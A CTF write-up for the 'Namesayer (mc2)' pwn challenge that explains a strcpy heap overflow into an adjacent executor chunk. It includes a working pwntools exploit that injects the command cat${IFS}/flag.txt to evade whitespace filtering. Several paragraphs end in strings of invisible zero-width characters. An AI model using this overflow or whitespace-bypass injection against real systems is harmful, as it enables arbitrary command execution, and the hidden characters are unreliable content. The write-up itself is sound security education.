← Back to Writeups
CUSTOMMediumpwn

Namesayer (mc2) — heap overflow via strcpy

XESXOR9/2/20263 min read
#pwn#custom#medium#forward_strcpy_overflow#heap_chunk_sandwich#ifs_whitespace_bypass#linux

Namesayer (mc2) — heap overflow via strcpy

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: forward_strcpy_overflow, heap_chunk_sandwich, ifs_whitespace_bypass

Summary

Task: menu-based heap allocator with a namesayer chunk and an executor chunk that is later fed to system(); wedding() performs an unbounded strcpy from a stack buffer into namesayer+0x10. Solution: arrange the allocator so the namesayer sits between the initial and a new executor, overflow 32 bytes forward into the next executor's data, and have system() execute cat${IFS}/flag.txt (whitespace-free so scanf/strcpy don't truncate).

Namesayer (mc2) — SPB CTF Pwn Season

Description

Mic Check (heap), 10 pts nc 109.233.56.90 11712 Binary: mc2.elf — ELF64 PIE, Full RELRO, canary, NX, glibc-style malloc.

English summary: a small menu-driven challenge with "executor" and "namesayer" objects on the heap, plus a wedding() function whose strcpy into the namesayer is unbounded. We arrange chunks so the overflow corrupts the next executor's data, which system() will then happily run.

Analysis

Debug symbols are kept. The relevant functions: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • allocate_executor() — malloc(0x40), initializes it to "ls -la\0". This is the "current executor" pointer system will eventually receive.
  • allocate_namesayer() — malloc(0x20). Then scanf("%s", ns) for the first name and scanf("%s", ns+0x10) for the last name — both unbounded.
  • execute_command(cmd) — printf("Executing %s\n", cmd); system(cmd);.
  • say_name(ns) — prints "I'm %s. %s %s.\n" using ns+0x10 / ns / ns+0x10.
  • wedding(ns) — reads a stack buffer with scanf("%s", ...) and then strcpy(ns + 0x10, stack_buf). No length check on strcpy → unbounded forward write inside the heap starting from namesayer + 0x10. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main auto-calls allocate_executor() before the menu loop, so there is already one executor chunk on the heap at start. The menu commands:

  • e — allocate a new executor (becomes the current executor).
  • x — execute_command(current_executor).
  • n — allocate a namesayer.
  • s — say_name.
  • w — wedding → the dangerous strcpy.

Vulnerability

Classic forward heap overflow through strcpy. We want the overflow to smash the data of the "current executor" so that the subsequent x calls system() on a string we control. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Issuing the menu sequence n → e → w → x produces this heap layout (chunks grow upward):

low  [ auto exec A : malloc 0x40, "ls -la\0" ]
     [ namesayer B : malloc 0x20            ]
     [ new exec  C : malloc 0x40, "current" ]  high
                    ^---- overflow target

wedding writes from B_data + 0x10 forward. Distance to the user data of chunk C:

  • remaining bytes of B's user area: 16
  • chunk C's 16-byte header (prev_size + size): 16

Total 32 bytes of padding before we land in C's data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gotchas

  • Both scanf("%s") and strcpy stop on NUL (and scanf also on whitespace). The payload must be NUL-free and whitespace-free.
  • No spaces in the shell command → use ${IFS} (bash's internal field separator, which expands to whitespace) between tokens.
  • An earlier attempt tried to forge fake chunk headers (p64(0)*1 + p64(0x51)) inside the padding; the NULs in those headers truncated the strcpy and nothing hit chunk C. The allocator does not revalidate size on subsequent malloc calls here, so plain non-NUL padding bytes work fine. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
from pwn import *

HOST, PORT = '109.233.56.90', 11712

def go(cmd: bytes) -> bytes:
    p = remote(HOST, PORT)
    # Allocate namesayer (chunk B after the auto-executor)
    p.sendlineafter(b'choice: ', b'n')
    p.sendlineafter(b'First name: ', b'AAAA')
    p.sendlineafter(b'Last name: ', b'BBBB')

    # Allocate a new executor (chunk C after B); becomes current executor
    p.sendlineafter(b'choice: ', b'e')

    # Trigger wedding -> strcpy from stack into ns+0x10, overflow forward into C
    p.sendlineafter(b'choice: ', b'w')
    payload = b'X' * 32 + cmd                       # 16 rest-of-B + 16 C header
    p.sendlineafter(b'last name: ', payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Now system(C->data) == system(cmd)
    p.sendlineafter(b'choice: ', b'x')
    data = p.recvall(timeout=4)
    p.close()
    return data

out = go(b'cat${IFS}/flag.txt;cat${IFS}flag.txt')
print(out.decode(errors='replace'))

The executor's data is now our cat${IFS}/flag.txt string, system expands ${IFS} to whitespace and prints the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍